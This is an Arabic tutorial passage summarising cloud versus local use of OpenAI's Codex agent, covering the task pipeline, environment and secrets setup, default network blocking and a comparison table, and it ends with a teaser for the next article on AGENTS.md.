- مسار المعالجة: تسير المهمة في 5 خطوات ثابتة (إنشاء الحاوية ← تشغيل برامج التهيئة ← تطبيق صلاحيات الشبكة ← معالجة الوكيل ← عرض diff).
- تهيئة البيئة: تحديد إصدارات اللغات، إعداد برامج التهيئة (تذكر عدم انتقال export)، استخدام Secrets لحفظ المفاتيح السرية بأمان، واستغلال الذاكرة المؤقتة لتسريع التشغيل.
- صمام أمان الشبكة: يتم حظر الشبكة عن الوكيل افتراضيًا لمنع هجمات حقن التوجيهات، وحصر الاتصال في النطاقات الشائعة ودوال القراءة فقط عند الحاجة لتفعيلها.
- المقارنة والجدوى: اختر العمل المحلي للمهام المرتبطة بملفات وأدوات جهازك الشخصي؛ واعتمد على العمل السحابي للمهام المتوازية، التطوير دون clone للمستودعات محليًا، وتفويض المهام الطويلة في الخلفية.
| المهام المطلوبة | المدخل المناسب للعمل | أين تقع المعالجة |
|---|---|---|
| تفادي تهيئة البيئة، والتطوير لمستودع غير محمل محليًا | نسخة العمل السحابي | خوادم OpenAI السحابية |
| تشغيل مهام متعددة متوازية بالتوازي | نسخة العمل السحابي (حاويات مستقلة) | خوادم OpenAI السحابية |
| تفويض المهام المعقدة الطويلة، مع إغلاق حاسوبك الشخصي | نسخة العمل السحابي | خوادم OpenAI السحابية |
| التطوير لمهام تتطلب استخدام ملفات أو أدوات محلية للجهاز | المسار المحلي (CLI / التطبيق / IDE) | جهازك محليًا |
| تفويض الجلسة البرمجية للسحابة أثناء العمل في المحرر | تفويض إضافة IDE | خوادم OpenAI السحابية |
يجب أن تكون قادرًا الآن على: التمييز بوضوح بين العمل السحابي والمحلي لـ Codex، فهم مسار المهمة السحابية بخطواتها الخمس، تهيئة البيئة البرمجية والمتغيرات والأسرار وإدارة الذاكرة المؤقتة، وتحديد صلاحيات الشبكة المناسبة للوكيل لحماية المستودع. ويمثل إتقان العمل السحابي الخطوة الأهم لإدراج الوكيل في مسار عملك اليومي بمرونة واحترافية.
المقال التالي 11 · دليل ملف القواعد AGENTS.md — لقد لاحظت تكرار قراءة الوكيل لملف AGENTS.md لحفظ وتوجيه القواعد في العمل السحابي والمحلي على حد سواء. سيوضح المقال القادم صياغة وكتابة ملف AGENTS.md بالتفصيل ليلتزم Codex بقواعد وتوجيهات مشروعك بدقة في كافة بيئات العمل. وتريث لتفكر: إذا أردت كتابة دليل إرشادي سريع لمطور جديد ينضم لمشروعك، ما هي القواعد الثلاث الأساسية التي ستطلب منه الالتزام بها؟